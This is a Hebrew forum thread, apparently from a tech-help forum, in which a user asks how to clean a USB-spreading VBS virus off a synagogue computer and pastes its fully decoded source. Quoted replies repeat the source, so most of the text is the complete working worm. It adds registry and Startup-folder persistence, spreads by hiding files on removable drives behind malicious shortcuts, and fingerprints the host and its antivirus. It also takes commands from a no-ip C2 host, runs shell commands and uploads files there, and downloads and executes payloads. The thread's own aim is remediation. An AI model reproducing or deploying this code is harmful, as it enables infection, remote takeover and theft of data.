                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                              if  instr (foldericon,",") = 0 then
                                  lnkobj.iconlocation = folder.path
                              else 
                                  lnkobj.iconlocation = foldericon
                              end if
                              lnkobj.save()
                          next
                      end If
                      end If
                      end if
                      next
                      err.clear
                      end sub
                      
                      sub uninstall
                      on error resume next
                      dim filename
                      dim foldername
                      
                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                      filesystemobj.deletefile startup & installname ,true
                      filesystemobj.deletefile wscript.scriptfullname ,true
                      
                      for  each drive in filesystemobj.drives
                      if  drive.isready = true then
                      if  drive.freespace  > 0 then
                      if  drive.drivetype  = 1 then
                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                               on error resume next
                               if  instr (file.name,".") then
                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                       file.attributes = 0
                                       if  ucase (file.name) <> ucase (installname) then
                                           filename = split(file.name,".")
                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                       else
                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                       end If
                                   else
                                       filesystemobj.deletefile (file.path) 
                                   end if
                               end if
                           next
                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                               folder.attributes = 0
                           next
                      end if
                      end if
                      end if
                      next
                      wscript.quit
                      end sub
                      
                      function post (cmd ,param)
                      
                      post = param
                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                      httpobj.setrequestheader "user-agent:",information
                      httpobj.send param
                      post = httpobj.responsetext
                      end function
                      
                      function information
                      on error resume next
                      if  inf = "" then
                          inf = hwid & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                      
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set os = root.execquery ("select * from win32_operatingsystem")
                          for each osinfo in os
                             inf = inf & osinfo.caption & spliter  
                             exit for
                          next
                          inf = inf & "plus" & spliter
                          inf = inf & security & spliter
                          inf = inf & usbspreading
                          information = inf  
                      else
                          information = inf
                      end if
                      end function
                      
                      sub upstart ()
                      on error resume Next
                      
                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                      
                      end sub
                      
                      function hwid
                      on error resume next
                      
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set disks = root.execquery ("select * from win32_logicaldisk")
                      for each disk in disks
                          if  disk.volumeserialnumber <> "" then
                              hwid = disk.volumeserialnumber
                              exit for
                          end if
                      next
                      end function
                      
                      function security 
                      on error resume next
                      
                      security = ""
                      
                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                      for each objitem in colitems
                          versionstr = split (objitem.version,".")
                      next
                      versionstr = split (colitems.version,".")
                      osversion = versionstr (0) & "."
                      for  x = 1 to ubound (versionstr)
                           osversion = osversion &  versionstr (i)
                      next
                      osversion = eval (osversion)
                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                      
                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                      
                      for each objantivirus in colantivirus
                          security  = security  & objantivirus.displayname & " ."
                      next
                      if security  = "" then security  = "nan-av"
                      end function
                      
                      function instance
                      on error resume next
                      
                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                      if usbspreading = "" then
                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                            usbspreading = "true - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                         else
                            usbspreading = "false - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                      
                         end if
                      end If
                      
                      
                      upstart
                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                          wscript.quit 
                      end If
                      err.clear
                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                      if  err.number > 0 then wscript.quit
                      end function
                      
                      sub sitedownloader (fileurl,filename)
                      
                      strlink = fileurl
                      strsaveto = installdir & filename
                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                      objhttpdownload.open "get", strlink, false
                      objhttpdownload.send
                      
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                       
                      if objhttpdownload.status = 200 then
                         dim  objstreamdownload
                         set  objstreamdownload = createobject("adodb.stream")
                         with objstreamdownload
                              .type = 1 
                              .open
                              .write objhttpdownload.responsebody
                              .savetofile strsaveto
                              .close
                         end with
                         set objstreamdownload = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      sub download (fileurl,filedir)
                      
                      if filedir = "" then 
                         filedir = installdir
                      end if
                      
                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                      set objhttpdownload = createobject("msxml2.xmlhttp")
                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                      objhttpdownload.send ""
                           
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                      if  objhttpdownload.status = 200 then
                          dim  objstreamdownload
                          set  objstreamdownload = createobject("adodb.stream")
                          with objstreamdownload 
                               .type = 1 
                               .open
                               .write objhttpdownload.responsebody
                               .savetofile strsaveto
                               .close
                          end with
                          set objstreamdownload  = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      function upload (fileurl)
                      
                      dim  httpobj,objstreamuploade,buffer
                      set  objstreamuploade = createobject("adodb.stream")
                      with objstreamuploade 
                           .type = 1 
                           .open
                           .loadfromfile fileurl
                           buffer = .read
                           .close
                      end with
                      set objstreamdownload = nothing
                      set httpobj = createobject("msxml2.xmlhttp")
                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                      httpobj.send buffer
                      end function
                      
                      function enumdriver ()
                      
                      for  each drive in filesystemobj.drives
                      if   drive.isready = true then
                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                      end if
                      next
                      end Function
                      
                      function enumfaf (enumdir)
                      
                      enumfaf = enumdir & spliter
                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                      next
                      
                      for  each file in filesystemobj.getfolder (enumdir).files
                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                      
                      next
                      end function
                      
                      function enumprocess ()
                      
                      on error resume next
                      
                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                      
                      dim objitem
                      for each objitem in colitems
                          enumprocess = enumprocess & objitem.name & "|"
                          enumprocess = enumprocess & objitem.processid & "|"
                          enumprocess = enumprocess & objitem.executablepath & spliter
                      next
                      end function
                      
                      sub exitprocess (pid)
                      on error resume next
                      
                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                      end sub
                      
                      sub deletefaf (url)
                      on error resume next
                      
                      filesystemobj.deletefile url
                      filesystemobj.deletefolder url
                      
                      end sub
                      
                      function cmdshell (cmd)
                      
                      dim httpobj,oexec,readallfromany
                      
                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                      if not oexec.stdout.atendofstream then
                         readallfromany = oexec.stdout.readall
                      elseif not oexec.stderr.atendofstream then
                         readallfromany = oexec.stderr.readall
                      else 
                         readallfromany = ""
                      end if
                      
                      cmdshell = readallfromany
                      end function
                      
                      cfopuserC מנותק
                      cfopuserC מנותק
                      cfopuser
                      כתב נערך לאחרונה על ידי
                      #14

                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                      נראה שלא הועיל,
                      לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                      מתכנת חובבמ תגובה 1 תגובה אחרונה
                      1
                      • cfopuserC cfopuser

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                        נראה שלא הועיל,
                        לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי
                        #15

                        @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        ר תגובה 1 תגובה אחרונה
                        0
                        • מתכנת חובבמ מתכנת חובב

                          @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                          ר מנותק
                          ר מנותק
                          רנדומלי
                          כתב נערך לאחרונה על ידי
                          #16

                          השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                          מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                          מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                          גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                          @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                          cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                          0
                          • ר רנדומלי

                            השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                            מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                            מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                            גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                            @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                            cfopuserC מנותק
                            cfopuserC מנותק
                            cfopuser
                            כתב נערך לאחרונה על ידי
                            #17

                            @רנדומלי היא כן.

                            תגובה 1 תגובה אחרונה
                            1
                            • ר רנדומלי

                              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                              cmd /c hrxxryydxo.vbs && start explorer [file name]
                              

                              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                              

                              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                              לאחר פיענוח הקידוד התקבל הקוד הבא:
                              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                              e
                              '<[ recoder : houdini (c) skype : houdini-fx ]>
                              
                              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              host = "khattab.no-ip.biz"
                              port = 5550
                              installdir = "%temp%"
                              lnkfile = true
                              lnkfolder = true
                              
                              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                              
                              dim shellobj 
                              set shellobj = wscript.createobject("wscript.shell")
                              dim filesystemobj
                              set filesystemobj = createobject("scripting.filesystemobject")
                              dim httpobj
                              set httpobj = createobject("msxml2.xmlhttp")
                              
                              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                              
                              installname = wscript.scriptname
                              startup = shellobj.specialfolders ("startup") & "\"
                              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                              spliter = "<" & "|" & ">"
                              sleep = 5000 
                              dim response
                              dim cmd
                              dim param
                              info = ""
                              usbspreading = ""
                              startdate = ""
                              dim oneonce
                              
                              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                              on error resume next
                              
                              instance
                              while true
                              
                              install
                              
                              response = ""
                              response = post ("is-ready","")
                              cmd = split (response,spliter)
                              select case cmd (0)
                              case "excecute"
                                    param = cmd (1)
                                    execute param
                              case "update"
                                    param = cmd (1)
                                    oneonce.close
                                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                    oneonce.write param
                                    oneonce.close
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                    wscript.quit 
                              case "uninstall"
                                    uninstall
                              case "send"
                                    download cmd (1),cmd (2)
                              case "site-send"
                                    sitedownloader cmd (1),cmd (2)
                              case "recv"
                                    param = cmd (1)
                                    upload (param)
                              case  "enum-driver"
                                    post "is-enum-driver",enumdriver  
                              case  "enum-faf"
                                    param = cmd (1)
                                    post "is-enum-faf",enumfaf (param)
                              case  "enum-process"
                                    post "is-enum-process",enumprocess   
                              case  "cmd-shell"
                                    param = cmd (1)
                                    post "is-cmd-shell",cmdshell (param)  
                              case  "delete"
                                    param = cmd (1)
                                    deletefaf (param) 
                              case  "exit-process"
                                    param = cmd (1)
                                    exitprocess (param) 
                              case  "sleep"
                                    param = cmd (1)
                                    sleep = eval (param)        
                              end select
                              
                              wscript.sleep sleep
                              
                              wend
                              
                              sub install
                              on error resume next
                              dim lnkobj
                              dim filename
                              dim foldername
                              dim fileicon
                              dim foldericon
                              
                              upstart
                              for each drive in filesystemobj.drives
                              
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                  end if
                                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                      if not lnkfile then exit for
                                      if  instr (file.name,".") then
                                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                              file.attributes = 2+4
                                              if  ucase (file.name) <> ucase (installname) then
                                                  filename = split(file.name,".")
                                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                  lnkobj.windowstyle = 7
                                                  lnkobj.targetpath = "cmd.exe"
                                                  lnkobj.workingdirectory = ""
                                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                  if  instr (fileicon,",") = 0 then
                                                      lnkobj.iconlocation = file.path
                                                  else 
                                                      lnkobj.iconlocation = fileicon
                                                  end if
                                                  lnkobj.save()
                                              end if
                                          end if
                                      end if
                                  next
                                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                      if not lnkfolder then exit for
                                      folder.attributes = 2+4
                                      foldername = folder.name
                                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                      lnkobj.windowstyle = 7
                                      lnkobj.targetpath = "cmd.exe"
                                      lnkobj.workingdirectory = ""
                                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                      if  instr (foldericon,",") = 0 then
                                          lnkobj.iconlocation = folder.path
                                      else 
                                          lnkobj.iconlocation = foldericon
                                      end if
                                      lnkobj.save()
                                  next
                              end If
                              end If
                              end if
                              next
                              err.clear
                              end sub
                              
                              sub uninstall
                              on error resume next
                              dim filename
                              dim foldername
                              
                              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                              filesystemobj.deletefile startup & installname ,true
                              filesystemobj.deletefile wscript.scriptfullname ,true
                              
                              for  each drive in filesystemobj.drives
                              if  drive.isready = true then
                              if  drive.freespace  > 0 then
                              if  drive.drivetype  = 1 then
                                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                       on error resume next
                                       if  instr (file.name,".") then
                                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                               file.attributes = 0
                                               if  ucase (file.name) <> ucase (installname) then
                                                   filename = split(file.name,".")
                                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                               else
                                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                                               end If
                                           else
                                               filesystemobj.deletefile (file.path) 
                                           end if
                                       end if
                                   next
                                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                       folder.attributes = 0
                                   next
                              end if
                              end if
                              end if
                              next
                              wscript.quit
                              end sub
                              
                              function post (cmd ,param)
                              
                              post = param
                              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                              httpobj.setrequestheader "user-agent:",information
                              httpobj.send param
                              post = httpobj.responsetext
                              end function
                              
                              function information
                              on error resume next
                              if  inf = "" then
                                  inf = hwid & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                              
                                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                  set os = root.execquery ("select * from win32_operatingsystem")
                                  for each osinfo in os
                                     inf = inf & osinfo.caption & spliter  
                                     exit for
                                  next
                                  inf = inf & "plus" & spliter
                                  inf = inf & security & spliter
                                  inf = inf & usbspreading
                                  information = inf  
                              else
                                  information = inf
                              end if
                              end function
                              
                              sub upstart ()
                              on error resume Next
                              
                              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                              
                              end sub
                              
                              function hwid
                              on error resume next
                              
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set disks = root.execquery ("select * from win32_logicaldisk")
                              for each disk in disks
                                  if  disk.volumeserialnumber <> "" then
                                      hwid = disk.volumeserialnumber
                                      exit for
                                  end if
                              next
                              end function
                              
                              function security 
                              on error resume next
                              
                              security = ""
                              
                              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                              for each objitem in colitems
                                  versionstr = split (objitem.version,".")
                              next
                              versionstr = split (colitems.version,".")
                              osversion = versionstr (0) & "."
                              for  x = 1 to ubound (versionstr)
                                   osversion = osversion &  versionstr (i)
                              next
                              osversion = eval (osversion)
                              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                              
                              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                              
                              for each objantivirus in colantivirus
                                  security  = security  & objantivirus.displayname & " ."
                              next
                              if security  = "" then security  = "nan-av"
                              end function
                              
                              function instance
                              on error resume next
                              
                              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                              if usbspreading = "" then
                                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                    usbspreading = "true - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                 else
                                    usbspreading = "false - " & date
                                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                              
                                 end if
                              end If
                              
                              
                              upstart
                              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                  wscript.quit 
                              end If
                              err.clear
                              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                              if  err.number > 0 then wscript.quit
                              end function
                              
                              sub sitedownloader (fileurl,filename)
                              
                              strlink = fileurl
                              strsaveto = installdir & filename
                              set objhttpdownload = createobject("msxml2.xmlhttp" )
                              objhttpdownload.open "get", strlink, false
                              objhttpdownload.send
                              
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                               
                              if objhttpdownload.status = 200 then
                                 dim  objstreamdownload
                                 set  objstreamdownload = createobject("adodb.stream")
                                 with objstreamdownload
                                      .type = 1 
                                      .open
                                      .write objhttpdownload.responsebody
                                      .savetofile strsaveto
                                      .close
                                 end with
                                 set objstreamdownload = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              sub download (fileurl,filedir)
                              
                              if filedir = "" then 
                                 filedir = installdir
                              end if
                              
                              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                              set objhttpdownload = createobject("msxml2.xmlhttp")
                              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                              objhttpdownload.send ""
                                   
                              set objfsodownload = createobject ("scripting.filesystemobject")
                              if  objfsodownload.fileexists (strsaveto) then
                                  objfsodownload.deletefile (strsaveto)
                              end if
                              if  objhttpdownload.status = 200 then
                                  dim  objstreamdownload
                                  set  objstreamdownload = createobject("adodb.stream")
                                  with objstreamdownload 
                                       .type = 1 
                                       .open
                                       .write objhttpdownload.responsebody
                                       .savetofile strsaveto
                                       .close
                                  end with
                                  set objstreamdownload  = nothing
                              end if
                              if objfsodownload.fileexists(strsaveto) then
                                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
                              end if 
                              end sub
                              
                              function upload (fileurl)
                              
                              dim  httpobj,objstreamuploade,buffer
                              set  objstreamuploade = createobject("adodb.stream")
                              with objstreamuploade 
                                   .type = 1 
                                   .open
                                   .loadfromfile fileurl
                                   buffer = .read
                                   .close
                              end with
                              set objstreamdownload = nothing
                              set httpobj = createobject("msxml2.xmlhttp")
                              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                              httpobj.send buffer
                              end function
                              
                              function enumdriver ()
                              
                              for  each drive in filesystemobj.drives
                              if   drive.isready = true then
                                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                              end if
                              next
                              end Function
                              
                              function enumfaf (enumdir)
                              
                              enumfaf = enumdir & spliter
                              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                              next
                              
                              for  each file in filesystemobj.getfolder (enumdir).files
                                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                              
                              next
                              end function
                              
                              function enumprocess ()
                              
                              on error resume next
                              
                              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                              set colitems = objwmiservice.execquery("select * from win32_process",,48)
                              
                              dim objitem
                              for each objitem in colitems
                                  enumprocess = enumprocess & objitem.name & "|"
                                  enumprocess = enumprocess & objitem.processid & "|"
                                  enumprocess = enumprocess & objitem.executablepath & spliter
                              next
                              end function
                              
                              sub exitprocess (pid)
                              on error resume next
                              
                              shellobj.run "taskkill /F /T /PID " & pid,7,true
                              end sub
                              
                              sub deletefaf (url)
                              on error resume next
                              
                              filesystemobj.deletefile url
                              filesystemobj.deletefolder url
                              
                              end sub
                              
                              function cmdshell (cmd)
                              
                              dim httpobj,oexec,readallfromany
                              
                              set oexec = shellobj.exec ("%comspec% /c " & cmd)
                              if not oexec.stdout.atendofstream then
                                 readallfromany = oexec.stdout.readall
                              elseif not oexec.stderr.atendofstream then
                                 readallfromany = oexec.stderr.readall
                              else 
                                 readallfromany = ""
                              end if
                              
                              cmdshell = readallfromany
                              end function
                              
                              ת מנותק
                              ת מנותק
                              תלמידהון
                              כתב נערך לאחרונה על ידי
                              #18

                              @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                              תגובה 1 תגובה אחרונה
                              0
                              • ר רנדומלי

                                השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

